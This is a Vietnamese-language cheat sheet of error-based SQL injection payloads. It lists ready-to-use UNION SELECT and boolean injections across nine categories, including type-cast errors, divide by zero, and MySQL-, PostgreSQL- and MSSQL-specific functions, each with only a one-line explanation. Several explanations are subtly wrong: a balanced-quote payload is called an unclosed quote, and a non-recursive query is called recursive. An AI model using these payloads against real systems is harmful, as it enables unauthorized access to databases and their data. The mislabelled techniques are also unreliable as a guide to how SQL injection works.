Table of Contents
Kỹ thuật ép lỗi từ cơ sở dữ liệu cho SQL Injection
Việc ép lỗi trong cơ sở dữ liệu có thể giúp tiết lộ thông tin có giá trị về các truy vấn SQL cơ bản, cấu trúc cơ sở dữ liệu và đôi khi thậm chí là chính dữ liệu. Sau đây là một số kỹ thuật nâng cao để ép lỗi từ nhiều cơ sở dữ liệu khác nhau:
1. Lỗi cú pháp
Lỗi cú pháp cổ điển
- Đưa ra lỗi cú pháp cố ý để đưa ra thông báo lỗi.
' OR 1=1; --
Trích dẫn chưa đóng
- Không đóng dấu ngoặc kép có thể gây ra lỗi.
' OR 'a'='a
2. Lỗi chuyển đổi kiểu
Ép kiểu không hợp lệ
- Ép kiểu chuỗi thành số nguyên có thể gây ra lỗi chuyển đổi kiểu.
' UNION SELECT CAST('abc' AS SIGNED) --
3. Lỗi dựa trên chức năng
Chia cho số 0
- Buộc thực hiện phép chia cho lỗi số không.
' UNION SELECT 1/0 --
Sử dụng hàm không hợp lệ
- Sử dụng hàm không đúng cách có thể gây ra lỗi.
' UNION SELECT EXP('abc') --
4. Lỗi truy vấn phụ
Truy vấn con không hợp lệ
- Sử dụng truy vấn phụ theo cách gây ra lỗi.
' UNION SELECT (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2) AS temp) --
5. Lỗi cụ thể của cơ sở dữ liệu
Lỗi MySQL
- Sử dụng các truy vấn không hợp lệ để kích hoạt lỗi cụ thể của MySQL.
' UNION SELECT GTID_SUBSET('abc', 'def') --
Lỗi PostgreSQL
- Sử dụng các thao tác không hợp lệ có thể gây ra lỗi PostgreSQL.
' UNION SELECT TO_NUMBER('abc', '999') --
Lỗi MSSQL
- Sử dụng sai các hàm dành riêng cho MSSQL có thể gây ra lỗi.
' UNION SELECT CONVERT(INT, 'abc') --
6. Truy vấn lược đồ thông tin
Tên bảng không hợp lệ
- Truy vấn lược đồ thông tin có tên bảng không hợp lệ.
' UNION SELECT table_name FROM information_schema.tables WHERE table_name = 'non_existent_table' --
7. Lỗi SQL Injection mù
Điều kiện giả cố ý
- Sử dụng điều kiện sai để gián tiếp gây ra lỗi.
' AND 1=(SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='non_existent_database') --
8. Kỹ thuật lỗi nâng cao
Truy vấn đệ quy
- Sử dụng truy vấn đệ quy để buộc lỗi.
' UNION SELECT 1 FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3 UNION SELECT 4) AS temp WHERE temp=1 --
Giá trị thập lục phân không hợp lệ
- Sử dụng các giá trị thập lục phân không hợp lệ để gây ra lỗi.
' UNION SELECT 0xZZ --
9. Kết hợp các kỹ thuật
Buộc lỗi liên kết
- Kết hợp nhiều kỹ thuật loại bỏ lỗi để có kết quả chính xác hơn.
' UNION SELECT CONVERT(INT, 'abc') UNION SELECT 1/0 UNION SELECT TO_NUMBER('abc', '999') --